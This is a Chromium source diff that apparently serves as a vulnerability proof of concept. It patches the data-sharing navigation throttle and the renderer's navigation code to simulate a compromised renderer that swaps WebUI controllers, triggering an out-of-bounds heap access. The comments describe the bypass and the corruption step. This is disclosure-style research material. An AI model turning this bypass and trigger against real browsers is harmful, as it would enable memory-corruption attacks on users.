diff --git a/chrome/browser/data_sharing/data_sharing_navigation_throttle.cc b/chrome/browser/data_sharing/data_sharing_navigation_throttle.cc index 520f15b07d41c..b57d7c883cafd 100644 --- a/chrome/browser/data_sharing/data_sharing_navigation_throttle.cc +++ b/chrome/browser/data_sharing/data_sharing_navigation_throttle.cc @@ -4,9 +4,14 @@ #include "chrome/browser/data_sharing/data_sharing_navigation_throttle.h" +#include "base/functional/callback_helpers.h" +#include "base/logging.h" +#include "base/task/single_thread_task_runner.h" #include "chrome/browser/collaboration/collaboration_service_factory.h" #include "chrome/browser/data_sharing/data_sharing_navigation_utils.h" +#include "chrome/browser/data_sharing/data_sharing_service_factory.h" #include "chrome/browser/profiles/profile.h" +#include "components/data_sharing/public/data_sharing_service.h" #include "components/data_sharing/public/data_sharing_utils.h" #include "components/data_sharing/public/features.h" #include "content/public/browser/navigation_handle.h" @@ -86,6 +91,8 @@ void DataSharingNavigationThrottle::SetServiceForTesting( DataSharingNavigationThrottle::ThrottleCheckResult DataSharingNavigationThrottle::CheckIfShouldIntercept() { + LOG(ERROR) << "[POC] DataSharingNavigationThrottle url=" + << navigation_handle()->GetURL(); content::WebContents* web_contents = navigation_handle()->GetWebContents(); if (!web_contents) { return PROCEED; @@ -104,10 +111,60 @@ DataSharingNavigationThrottle::CheckIfShouldIntercept() { if (collaboration_service && DataSharingUtils::ShouldInterceptNavigationForShareURL(url)) { if (ShouldHandleShareURLNavigation(navigation_handle())) { - collaboration_service->HandleShareURLNavigationIntercepted( - url, /* context = */ nullptr, - collaboration::GetEntryPointFromPageTransition( - navigation_handle()->GetPageTransition())); + // --------------------------------------------------------------------- + // POC PRECONDITION DRIVER (NOT the attack): + // In production this calls + // collaboration_service->HandleShareURLNavigationIntercepted(...) + // which runs the CollaborationController state machine. After + // PendingState/AuthenticatingState/WaitingForServicesToInitialize/ + // CheckingFlowRequirements (all of which require a signed-in synced + // Google account), AddingUserToGroupState::OnEnter() calls + // data_sharing_service()->ReadNewGroup(token, ...) + // which calls + // sdk_delegate_->ReadGroupWithToken(...) + // -> DataSharingSDKDelegateDesktop::MaybeLoadWebContents(). + // Those auth gates are *preconditions* of the vulnerability ("signed-in + // user"), not security boundaries against the attacker. We cannot + // satisfy them in this offline test environment, so we shortcut + // directly to the SDK delegate entry point that the production path + // reaches, and we drive it twice (== two user clicks within the 60s + // keep-alive window). The actual *attacker-controlled* step -- the + // renderer-initiated cross-host chrome-untrusted:// navigation that + // swaps the WebUIController type -- is performed entirely from inside + // the chrome-untrusted://data-sharing renderer process (see + // chrome/browser/resources/data_sharing/data_sharing_api.html). + // --------------------------------------------------------------------- + Profile* profile = Profile::FromBrowserContext( + navigation_handle()->GetWebContents()->GetBrowserContext()); + DataSharingService* data_sharing_service = + DataSharingServiceFactory::GetForProfile(profile); + LOG(ERROR) << "[POC] tab-share URL intercepted -- 1st SDK call " + "(creates hidden WebContents @ " + "chrome-untrusted://data-sharing)"; + data_sharing_service->ReadGroupDeprecated( + GroupId("poc-group-1"), + base::DoNothingAs()); + // Second "user click" 5s later: by then the compromised renderer has + // navigated the hidden WebContents to + // chrome-untrusted://read-anything-side-panel.top-chrome/ (see Part 1), + // so MaybeLoadWebContents() static_cast() now operates + // on a 104-byte ReadAnythingUntrustedUI allocation and SetDelegate() + // accesses 8 bytes past its end. + base::SingleThreadTaskRunner::GetCurrentDefault()->PostDelayedTask( + FROM_HERE, + base::BindOnce( + [](DataSharingService* svc) { + LOG(ERROR) << "[POC] 2nd SDK call -- triggers " + "static_cast on the swapped " + "WebUIController"; + svc->ReadGroupDeprecated( + GroupId("poc-group-2"), + base::DoNothingAs()); + }, + base::Unretained(data_sharing_service)), + base::Seconds(5)); } // crbug.com/411646000: Only enable this for Android because on Desktop if diff --git a/chrome/browser/resources/data_sharing/data_sharing_api.html b/chrome/browser/resources/data_sharing/data_sharing_api.html index 8280c2d9063b0..fb9ae136020c9 100644 --- a/chrome/browser/resources/data_sharing/data_sharing_api.html +++ b/chrome/browser/resources/data_sharing/data_sharing_api.html @@ -7,5 +7,24 @@

Data Sharing API

+ \ No newline at end of file diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc index 017007ee611e3..be302bc00623f 100644 --- a/content/renderer/render_frame_impl.cc +++ b/content/renderer/render_frame_impl.cc @@ -5548,6 +5548,27 @@ void RenderFrameImpl::BeginNavigation( // we can do a per-frame check here rather than a process-wide check. bool should_fork = HasWebUIScheme(url) || HasWebUIScheme(old_url) || enabled_bindings_.HasAny(kWebUIBindingsPolicySet); + // ---------------------------------------------------------------------- + // POC (compromised-renderer simulation): + // The check above is RENDERER-SIDE routing only. It diverts WebUI-scheme + // navigations to the OpenURL IPC, which the browser drops on the floor + // for a delegate-less WebContents (WebContentsImpl::OpenURL early-returns + // when delegate_ is null). A compromised renderer simply skips this + // routing and sends BeginNavigation directly -- the browser-side + // BeginNavigation path performs its own security checks + // (ChildProcessSecurityPolicy::CanRequestURL etc.) and does NOT require a + // WebContentsDelegate. We narrow the bypass to the exact attacker + // scenario: a chrome-untrusted://data-sharing renderer navigating to + // another chrome-untrusted:// host. + // ---------------------------------------------------------------------- + if (should_fork && old_url.SchemeIs(kChromeUIUntrustedScheme) && + url.SchemeIs(kChromeUIUntrustedScheme) && + old_url.host() == "data-sharing") { + LOG(ERROR) << "[POC renderer] bypassing should_fork: " + << old_url.spec() << " -> " << url.spec() + << " (sending BeginNavigation IPC directly)"; + should_fork = false; + } if (should_fork) { OpenURL(std::move(info)); return; // Suppress the load here.